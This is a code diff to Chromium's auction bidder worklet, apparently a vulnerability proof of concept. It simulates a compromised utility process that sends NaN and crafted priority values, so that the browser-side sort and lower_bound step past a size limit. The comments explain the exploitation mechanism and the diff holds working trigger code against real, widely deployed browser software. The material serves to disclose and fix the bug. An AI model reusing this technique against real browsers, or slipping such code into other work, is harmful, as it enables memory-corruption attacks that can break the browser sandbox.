diff --git a/content/services/auction_worklet/bidder_worklet.cc b/content/services/auction_worklet/bidder_worklet.cc index 53a0ce1ebee1c..207f6b0e21e19 100644 --- a/content/services/auction_worklet/bidder_worklet.cc +++ b/content/services/auction_worklet/bidder_worklet.cc @@ -9,6 +9,7 @@ #include #include #include +#include #include #include #include @@ -20,6 +21,7 @@ #include "base/functional/bind.h" #include "base/functional/callback.h" #include "base/i18n/number_formatting.h" +#include "base/logging.h" #include "base/memory/scoped_refptr.h" #include "base/metrics/histogram_functions.h" #include "base/metrics/histogram_macros.h" @@ -595,8 +597,49 @@ void BidderWorklet::BeginGenerateBid( // Deleting `generate_bid_task` will destroy `generate_bid_client` and thus // abort this callback, so it's safe to use Unretained(this) and // `generate_bid_task` here. + // --------------------------------------------------------------------------- + // POC INJECTION: simulate a compromised auction-worklet utility process. + // + // This process runs attacker-supplied JavaScript inside V8 in a kServiceWithJit + // sandbox; a renderer-tier compromise of it is the precondition for this bug. + // The browser-side handler BuyerHelper::OnBiddingSignalsReceived() does not + // validate that priority_vector values are finite, so we send NaN for some + // interest groups and crafted finite values for the others. + // + // The values are chosen so that, after the browser computes the + // calculated_priority dot-product (1.0 * value), the bid_states_ vector going + // into ApplySizeLimitAndSort() is, in order, [NaN, 50, NaN, 100, 40, 30]. + // libc++'s 6-element insertion sort leaves that sequence unchanged because + // every adjacent comp() call returns false, so std::lower_bound() afterwards + // operates on an unsorted range and returns begin()+4, past size_limit_=2. + // --------------------------------------------------------------------------- + base::flat_map poc_priority_vector; + { + const double nan = std::numeric_limits::quiet_NaN(); + const std::string& ig = + generate_bid_task->bidder_worklet_non_shared_params->name; + double v = 0; + if (ig == "ig0") { + v = nan; + } else if (ig == "ig1") { + v = 50; + } else if (ig == "ig2") { + v = nan; + } else if (ig == "ig3") { + v = 100; + } else if (ig == "ig4") { + v = 40; + } else if (ig == "ig5") { + v = 30; + } + // browserSignals.one is unconditionally mapped to 1.0 in + // CalculateInterestGroupPriority(), so the dot-product is exactly `v`. + poc_priority_vector.emplace("browserSignals.one", v); + LOG(ERROR) << "POC worklet: sending priority_vector for " << ig + << " value=" << v; + } generate_bid_task->generate_bid_client->OnBiddingSignalsReceived( - /*priority_vector=*/{}, + /*priority_vector=*/poc_priority_vector, /*trusted_signals_fetch_latency=*/base::TimeDelta(), /*update_if_older_than=*/std::nullopt, base::BindOnce(&BidderWorklet::SignalsReceivedCallback,